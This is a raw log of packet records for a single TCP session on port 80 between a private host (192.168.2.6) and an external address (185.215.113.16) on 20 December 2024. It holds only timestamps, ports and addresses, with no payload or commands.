Dec 20, 2024 16:19:55.982160091 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.982206106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.982789993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.982909918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.982922077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.982969046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.983560085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.983652115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.983663082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.983699083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.984296083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.984426975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.984440088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.984496117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.985100031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.985172987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.985184908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:55.985198021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:55.985227108 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.151375055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.151489019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.151504040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.151547909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.151813984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.151870966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.151902914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.152050018 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.152116060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.152533054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.152640104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.152652025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.152673960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.153341055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.153464079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.153477907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.153518915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.154088020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.154234886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.154247046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.154284954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.154853106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.154987097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.155033112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.155236006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.155287027 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.155672073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.155764103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.155776978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.155814886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.156457901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.156510115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.156548977 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.156562090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.156594992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.157248020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.157341003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.157352924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.157397985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.158091068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158138037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.158183098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158195019 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158246040 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.158768892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158891916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158902884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.158941984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.159531116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.159580946 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.159646034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.159658909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.159742117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.160396099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.160485029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.160497904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.160550117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.161156893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.161235094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.161248922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.161263943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.161284924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.161961079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162053108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162065983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162096977 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.162714005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162832975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162846088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.162893057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.163403988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.163532972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.163544893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.163588047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.164246082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.164345980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.164355993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.164359093 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.164414883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.164997101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165116072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165127039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165189981 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.165782928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165838957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.165920973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165934086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.165978909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.166584015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.166691065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.166703939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.166735888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.167397022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.167493105 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.167522907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.167537928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.167579889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.168428898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.168442965 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.168454885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.168502092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.168916941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.169003010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.169302940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.169316053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.169367075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.169435978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.169966936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.170017958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.170084000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.170097113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.170155048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.170742989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171211004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171231031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171271086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.171607971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171669006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171684027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.171749115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.171749115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.172292948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.172420025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.172437906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.172507048 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.173116922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.173265934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.173281908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.173325062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.173360109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.173861027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.173995972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.174009085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.174052954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.174664021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.174781084 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.174793005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.174825907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.175441980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.175566912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.175580025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.175615072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.176184893 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.176242113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.176289082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.176302910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.176345110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.177050114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177062988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177076101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177145004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.177778006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177881956 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177906036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.177908897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.177953959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.178519964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.190835953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.205898046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.344528913 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344542980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344549894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344562054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344573975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344587088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344609976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.344630957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344645023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.344681025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.344702959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.345230103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.345345020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.345359087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.345406055 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.345958948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346014023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.346096992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346116066 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346177101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.346781969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346793890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346807957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.346853018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.347546101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.347601891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.347712994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.347723961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.347763062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.348284006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.348386049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.348400116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.348532915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.349164009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.349217892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.349353075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.349365950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.349478960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.349855900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.349942923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.349975109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.350039005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.350765944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.350790024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.350800991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.350851059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.350892067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.351412058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.351521969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.351532936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.351618052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.352184057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.352272034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.352282047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.352286100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.352332115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.352989912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353157997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353171110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353249073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.353698969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353835106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353847027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.353859901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.353899956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.354521036 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.354645014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.354657888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.354710102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.355288029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.355345964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.355415106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.355427980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.355465889 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.356071949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.356168032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.356180906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.356230021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.356863022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.356935024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.356990099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.357003927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.357053041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.357637882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.357784033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.357796907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.357844114 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.358417034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.358539104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.358602047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.358614922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.358649969 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.359174013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.359306097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.359332085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.359370947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.359987020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.360133886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.360147953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.360157967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.360176086 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.360821009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.360965014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.360977888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.361085892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.361519098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.361605883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.361886978 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.361957073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.361969948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.362103939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.362730026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.362742901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.362755060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.362828016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.363347054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.363456011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.363470078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.363513947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.364521027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.364615917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.364640951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.364654064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.364696980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.365494967 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.365603924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.365617990 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.365652084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.366132975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366219044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366231918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366266012 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.366291046 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.366741896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366812944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366826057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.366969109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.367250919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.367391109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.367403030 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.367429018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.367429018 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.368078947 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.368314028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.368325949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.368442059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.368818998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.368918896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.368932009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.369012117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.369597912 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.369683981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.369697094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.369766951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.370393991 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.370553970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.370558023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.370565891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.370614052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:19:56.536052942 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.536086082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:19:56.536098957 CET	80	49828	185.215.113.16	192.168.2.6
